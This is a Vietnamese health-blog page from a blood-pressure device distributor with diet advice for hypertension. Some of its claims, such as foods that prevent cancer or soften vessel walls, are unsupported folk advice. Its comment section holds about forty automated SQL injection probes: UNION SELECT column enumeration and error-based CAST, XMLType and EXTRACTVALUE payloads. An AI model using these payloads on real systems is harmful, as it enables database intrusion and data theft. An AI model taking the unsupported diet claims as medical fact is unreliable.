Microlife
  • Giới thiệu
  • Thiết bị gia đình
    • Máy đo huyết áp
    • Nhiệt kế điện tử
    • Máy đo nồng độ oxy
    • Máy xông khí dung
  • Thiết bị chuyên dụng
    • Máy đo huyết áp 24h
    • Máy đo huyết áp tứ chi
  • Công nghệ
    • Kiểm soát huyết áp
    • Kiểm soát thân nhiệt
    • Công nghệ khác
  • Sức khỏe tim mạch
  • Hỗ trợ
    • Tải Phần Mềm
    • Tải Hướng Dẫn Sử Dụng
    • Tải Ebook
  • Liên hệ
Search
00 items

Chế độ dinh dưỡng cho người bị cao huyết áp

Hadmin2021-11-17T19:56:36+07:00
40 Comments

Theo ước tính của Tổ Chức Y Tế Thế Giới (WHO) thì cứ trung bình 10 người lớn, sẽ có 4 người bị tăng huyết áp. Cũng theo WHO, mỗi năm có 17,5 triệu người chết vì các bệnh tim mạch trên thế giới, nhiều hơn gấp 4 lần tổng số người tử vong từ 3 bệnh lý HIV/AIDS, sốt rét và lao phổi…

Được biết đến như một vấn đề thường gặp trong cộng đồng, tăng huyết áp hiện vẫn đang là nguyên nhân gây tử vong hàng đầu dẫn đến cái chết của hàng triệu người mỗi năm, đồng thời cũng là nguyên nhân gây suy tim và đột quỵ não, là nguyên nhân gây nhồi máu cơ tim cấp. Tỉ lệ người mắc bệnh tăng huyết áp cũng ngày càng tăng và tuổi bị mắc mới cũng ngày một trẻ hóa.

Ngoài việc tuân thủ theo sự điều trị của bác sĩ, chúng tôi cũng khuyên mọi người trong cộng đồng nên có một chế độ dinh dưỡng hợp lý, không chỉ đơn giản là tuân theo những nguyên tắc như ăn nhạt, hạn chế các thức ăn nhiều chất béo… mà bạn cũng cần thay đổi khẩu phần ăn từng ngày, để có thể đáp ứng được những tiêu chuẩn trên, đồng thời cũng không gây cảm giác ngán ăn.

Là những người làm trong công tác về sức khỏe, chúng tôi luôn mong muốn mang đến cho bạn những kiến thức bổ ích nhất, giúp các bạn có thêm hiểu biết và có cái nhìn rõ hơn về bệnh. Bên dưới, chúng tôi có tổng hợp một số thực phẩm nên và không nên ăn cho người bị cao huyết áp, mọi người có thể tham khảo!

Những thực phẩm tốt cho người bị cao huyết áp

– Cần tây: nhiều nghiên cứu đã chỉ ra rằng, cần tây có tác dụng lợi niệu, giãn mạch, làm giảm huyết áp nên bạn có thể kết hợp cần tây vào bữa ăn để huyết áp ổn định hơn mỗi ngày.

– Rau muống: nếu bạn đang tìm kiếm những loại rau dành cho người bị cao huyết áp thì rau muống lại rất thích hợp vì chúng chứa khá nhiều canxi, không những thế, rau muống cũng giúp giảm thiểu những cơn đau đầu hay gặp phải.

– Cải cúc: chắc hẳn là chúng ta đã rất quen với loại rau này vì chúng chứa nhiều acid amin, tinh dầu nên có tác dụng làm giảm huyết áp, giúp đầu óc minh mẫn hơn.

– Cà rốt: với loại này, bạn có thể ăn sống hoặc uống nước ép mỗi ngày để điều chỉnh sự rối loạn lipid máu và ổn định huyết áp, đặc biệt, ăn cà rốt còn giúp làm mềm thành mạch nữa.

– Cà chua: nếu như bạn ăn cà chua thường xuyên, bạn có thể chống được căn bệnh cao huyết áp, đặc biệt là các biến chứng xuất huyết đáy mắt vì cà chua có chứa nhiều vitamin C, P rất tốt cho sức khỏe.

– Măng lau: một số nghiên cứu gần đây đã chỉ ra rằng, măng lau có khả năng tiêu trừ mệt mỏi, hoạt huyết, làm thông tràng, giãn mạch tăng cường thể lực, ngoài ra, măng lau cũng có tác dụng phòng chống ung thư, rất thích hợp cho những người bị bệnh huyết áp.

Những thực phẩm người cao huyết áp không nên ăn

– Rượu, bia là 2 thức uống làm cho tim mạch đập nhanh và làm huyết áp tăng, gây xơ cứng động mạch, vì thế, những người đang mắc bệnh huyết áp tuyệt đối nên kiêng loại thức uống này.

– Cà phê, thuốc lá cũng chứa chất kích thích khiến nhịp tim tăng, huyết áp tăng, nên mọi người cũng nên kiêng khem thì tốt hơn.

– Hạn chế sử dụng các loại thức ăn nhiều dầu mỡ, các thực phẩm chứa nhiều đường và chất béo.

– Hơn nữa, bệnh nhân bị cao huyết áp cũng không nên uống trà đặc, vì trà đặc có nhiều chất kiềm, là chất kích thích đại não gây mất ngủ và bất an khiến huyết áp tăng.

– Kiêng thêm một số thức ăn có vị cay, hạn chế thức ăn nhiều tinh bột và bánh ngọt vì nó khiến cho việc đại tiện khó khăn gây táo bón, dẫn đến huyết áp tăng nếu nặng hơn có thể gây nguy cơ xuất huyết não.

Một chế độ dinh dưỡng phù hợp không chỉ giúp bạn vui khỏe mà còn cải thiện đáng kể tình trạng bệnh. Ngoài chế độ ăn uống, bạn cũng cần kết hợp với luyện tập đều đặn để có sức khỏe tốt hơn nữa nhé!

Comments (40)

  • Khách

    FCDs

    10/03/2022 at 12:54 chiều
  • Khách

    FCDs’CXNZyMdRkWwE

    10/03/2022 at 12:54 chiều
  • Khách

    FCDs’) AND 4120=CAST((CHR(113)||CHR(112)||CHR(120)||CHR(107)||CHR(113))||(SELECT (CASE WHEN (4120=4120) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(113)||CHR(122)||CHR(107)||CHR(113)) AS NUMERIC) AND (‘XMsu’=’XMsu

    10/03/2022 at 12:54 chiều
  • Khách

    FCDs’ AND 5875 IN (SELECT (CHAR(113)+CHAR(112)+CHAR(120)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (5875=5875) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(113))) AND ‘jJGd’=’jJGd

    10/03/2022 at 12:54 chiều
  • Khách

    FCDs’ AND 7914=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(120)||CHR(107)||CHR(113)||(SELECT (CASE WHEN (7914=7914) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(113)||CHR(122)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND ‘seuO’=’seuO

    10/03/2022 at 12:55 chiều
  • Khách

    FCDs) ORDER BY 1– Bjyi

    10/03/2022 at 12:55 chiều
  • Khách

    FCDs) ORDER BY 3– rSHA

    10/03/2022 at 12:55 chiều
  • Khách

    -3909) UNION ALL SELECT CONCAT(CONCAT(‘qpxkq’,’nXrCxKGELPpSdaLikzHSwnMfaZcOeBOgZaWaQnjM’),’qqzkq’)– Gslh

    10/03/2022 at 12:55 chiều
  • Khách

    FCDs) UNION ALL SELECT NULL,NULL,NULL,NULL– eJkh

    10/03/2022 at 12:56 chiều
  • Khách

    FCDs) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL– EJbZ

    10/03/2022 at 12:57 chiều
  • Khách

    FCDs UNION ALL SELECT NULL,NULL,NULL– NaVw

    10/03/2022 at 12:57 chiều
  • Khách

    FCDs UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL– KAzg

    10/03/2022 at 12:57 chiều
  • Khách

    FCDs UNION ALL SELECT NULL,NULL,NULL– NGaa

    10/03/2022 at 12:57 chiều
  • Khách

    FCDs UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL– QzIm

    10/03/2022 at 12:58 chiều
  • Khách

    FCDs UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL– yMiw

    10/03/2022 at 12:58 chiều
  • AND EXTRACTVALUE(8755,CONCAT(0x5c,0x7170786b71,(SELECT (ELT(8755=8755,1))),0x71717a6b71))

    FCDs

    10/03/2022 at 12:58 chiều
  • AND 4502=CAST((CHR(113)||CHR(112)||CHR(120)||CHR(107)||CHR(113))||(SELECT (CASE WHEN (4502=4502) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(113)||CHR(122)||CHR(107)||CHR(113)) AS NUMERIC)

    FCDs

    10/03/2022 at 12:59 chiều
  • ' AND 3389 IN (SELECT (CHAR(113)+CHAR(112)+CHAR(120)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (3389=3389) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(107)+CHAR(113))) AND 'OKyB'='OKyB

    FCDs

    10/03/2022 at 12:59 chiều
  • AND 2143=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(120)||CHR(107)||CHR(113)||(SELECT (CASE WHEN (2143=2143) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(113)||CHR(122)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL)-- TDQr

    FCDs

    10/03/2022 at 12:59 chiều
  • ) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- rYUZ

    FCDs

    10/03/2022 at 12:59 chiều
  • ) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ZDpH

    FCDs

    10/03/2022 at 1:00 chiều
  • UNION ALL SELECT NULL,NULL,NULL-- agex

    FCDs

    10/03/2022 at 1:00 chiều
  • UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- vnRr

    FCDs

    10/03/2022 at 1:00 chiều
  • ') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- VagT

    FCDs

    10/03/2022 at 1:00 chiều
  • ') UNION ALL SELECT CONCAT(CONCAT('qpxkq','BjECDgRwAfyxxteXyWdNMrQYwvsxTeHpTNuWkBQN'),'qqzkq'),NULL,NULL,NULL,NULL,NULL-- rdif

    FCDs

    10/03/2022 at 1:01 chiều
  • ') UNION ALL SELECT NULL,NULL,NULL,CONCAT(CONCAT('qpxkq','RGIQeUXRLf'),'qqzkq'),NULL,NULL-- fLzw

    FCDs

    10/03/2022 at 1:01 chiều
  • -6563') UNION ALL SELECT NULL,CONCAT(CONCAT('qpxkq','ficUMRtFqKSpYljDsXIPVBcszHlmiBYzIRcUMsjB'),'qqzkq'),NULL,NULL,NULL,NULL-- bOfp

    FCDs

    10/03/2022 at 1:01 chiều
  • -5140') UNION ALL SELECT NULL,CONCAT(CONCAT('qpxkq','ZTZcxxntzH'),'qqzkq'),NULL,NULL,NULL,NULL-- Jbaj

    FCDs

    10/03/2022 at 1:01 chiều
  • -8578') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT('qpxkq','LxAKYTRudE'),'qqzkq')-- iWxv

    FCDs

    10/03/2022 at 1:02 chiều
  • ') UNION ALL SELECT 90,CONCAT(CONCAT('qpxkq','aTEMyWjUxLyEzrwekhAcvBInvGYkniCcOfbfeHcI'),'qqzkq'),90,90,90,90-- EAPI

    FCDs

    10/03/2022 at 1:05 chiều
  • ') UNION ALL SELECT 90,CONCAT(CONCAT('qpxkq','iqAdFWVXhQ'),'qqzkq'),90,90,90,90-- iAFS

    FCDs

    10/03/2022 at 1:05 chiều
  • -7248') UNION ALL SELECT 90,90,90,90,CONCAT(CONCAT('qpxkq','JNdgxDCaMoYyrTPjNiMYfCqEKQKMKmtBFIiHgSfo'),'qqzkq'),90-- FgNm

    FCDs

    10/03/2022 at 1:06 chiều
  • -6591') UNION ALL SELECT CONCAT(CONCAT('qpxkq','kBWmcCUrXk'),'qqzkq'),90,90,90,90,90-- NQyo

    FCDs

    10/03/2022 at 1:06 chiều
  • ' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- JADb

    FCDs

    10/03/2022 at 1:06 chiều
  • ' UNION ALL SELECT NULL,NULL,CONCAT(CONCAT('qpxkq','AGhzngcfZhNCGnOwAvNcGpJOPOmenCvzxQZuagLA'),'qqzkq'),NULL,NULL-- EIMu

    FCDs

    10/03/2022 at 1:07 chiều
  • ' UNION ALL SELECT CONCAT(CONCAT('qpxkq','oUouBmASeJ'),'qqzkq'),NULL,NULL,NULL,NULL-- DrXq

    FCDs

    10/03/2022 at 1:07 chiều
  • -1125' UNION ALL SELECT NULL,CONCAT(CONCAT('qpxkq','xjjZAiOSILEUmsCGdcZhomwagMjLoLAJsbvdccGR'),'qqzkq'),NULL,NULL,NULL-- dVzD

    FCDs

    10/03/2022 at 1:07 chiều
  • UNION ALL SELECT NULL-- SJyz

    FCDs

    10/03/2022 at 1:07 chiều
  • UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- SHMZ

    FCDs

    10/03/2022 at 1:08 chiều
  • UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- beVJ

    FCDs

    10/03/2022 at 1:08 chiều

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *


Related Posts

‘Bảo vệ gia đình phòng ngừa đột quỵ’- Chương trình hay nên xem trong tháng 11

Microlife là thương hiệu đến từ Thụy Sĩ và là một trong những công ty chiếm thị phần lớn... read more

5 sự thật thú vị về gan cần biết

Nhiệm vụ chính của gan là cung cấp và chuyển hóa năng lượng của cơ thể, gan nằm bên... read more

Công nghệ đầu tiên trên thế giới tầm soát rung nhĩ, phòng chống đột quỵ

Thông qua việc tầm soát rung nhĩ, người bệnh có thể phòng chống đột quỵ, giảm mức độ nguy... read more

Nên mua những thiết bị y tế nào trong mùa dịch?

Để chủ động phòng bị trong mùa dịch, mỗi gia đình có thể mua các thiết bị y tế... read more

Phòng ngừa đột quỵ – Tưởng không dễ hóa ra dễ không tưởng!

Từ khóa đột quỵ có thể làm nhiều người sợ hãi nhưng dù nó nguy hiểm đến đâu, vẫn... read more

Khởi động chương trình Microlife 40 năm ‘Khảo sát nhanh – Nhận quà khủng’

Từ ngày 4.10 - 31.10.2021, Microlife chính thức khởi động chương trình nhân dịp kỷ niệm 40 năm "Khảo... read more

Đón Tết an lành cùng máy đo huyết áp B3 AFIB Advanced

Để bảo vệ bản thân và cả gia đình, bạn không thể bỏ qua những thiết bị chăm sóc... read more

Tai biến mạch máu não – Nguyên nhân và dấu hiệu nhận biết ban đầu

Tai biến mạch máu não là chứng bệnh nguy hiểm. Nó bắt nguồn từ nhiều nguyên nhân, một trong... read more

Những dấu hiệu đột quỵ tưởng là bình thường nhưng lại chết người

Không phải ngẫu nhiên đột quỵ trở thành cơn ác mộng của hàng triệu người trên thế giới, nguyên... read more

Máy đo huyết áp cảnh báo sớm nguy cơ đột quỵ hàng đầu Thụy Sĩ

Đột quỵ có xu hướng tăng trong mùa lạnh, gây ra những hậu quả nghiêm trọng cho người bệnh.... read more

Nhà phân phối chính hãng tại Việt Nam

  • CÔNG TY CP THIẾT BỊ Y SINH - BIOMEQ CORP.
  • Số giấy chứng nhận DKKD: 0308806875
  • Ngày cấp: 15/05/2009 - Nơi cấp: Sở Kế hoạch và Đầu tư thành phố Hồ Chí Minh
  • Địa chỉ: 89 Trần Văn Dư, Phường 13, Quận Tân Bình, Tp.HCM
  • Tel: (028) 22 600 006  
  • Email: info@biomeq.com.vn

Thông tin

  • Thông tin liên hệ
  • Chính sách bảo mật
  • Điều khoản riêng tư
  • Chính sách đổi trả hàng
  • Phương thức đặt hàng
  • Hỗ trợ bảo hành
Screen Shot 2021-09-22 at 19.06.05

Nhà phân phối chính hãng tại Việt Nam

  • CÔNG TY CP THIẾT BỊ Y SINH - BIOMEQ CORP.
  • Số giấy chứng nhận DKKD: 0308806875
  • Ngày cấp: 15/05/2009 - Nơi cấp: Sở Kế hoạch và Đầu tư thành phố Hồ Chí Minh
  • Địa chỉ: 89 Trần Văn Dư, Phường 13, Quận Tân Bình, Tp.HCM
  • Tel: (028) 22 600 006  
  • Email: info@biomeq.com.vn

Thông tin

  • Thông tin liên hệ
  • Chính sách bảo mật
  • Điều khoản riêng tư
  • Chính sách đổi trả hàng
  • Phương thức đặt hàng
  • Hỗ trợ bảo hành
Screen Shot 2021-09-22 at 19.06.05
© Copyright 2021 BIOMEQ | All rights reserved | Designed by NOVIS
  • Giới thiệu
  • Thiết bị gia đình
    • Máy đo huyết áp
    • Nhiệt kế điện tử
    • Máy đo nồng độ oxy
    • Máy xông khí dung
  • Thiết bị chuyên dụng
    • Máy đo huyết áp 24h
    • Máy đo huyết áp tứ chi
  • Công nghệ
    • Kiểm soát huyết áp
    • Kiểm soát thân nhiệt
    • Công nghệ khác
  • Sức khỏe tim mạch
  • Hỗ trợ
    • Tải Phần Mềm
    • Tải Hướng Dẫn Sử Dụng
    • Tải Ebook
  • Liên hệ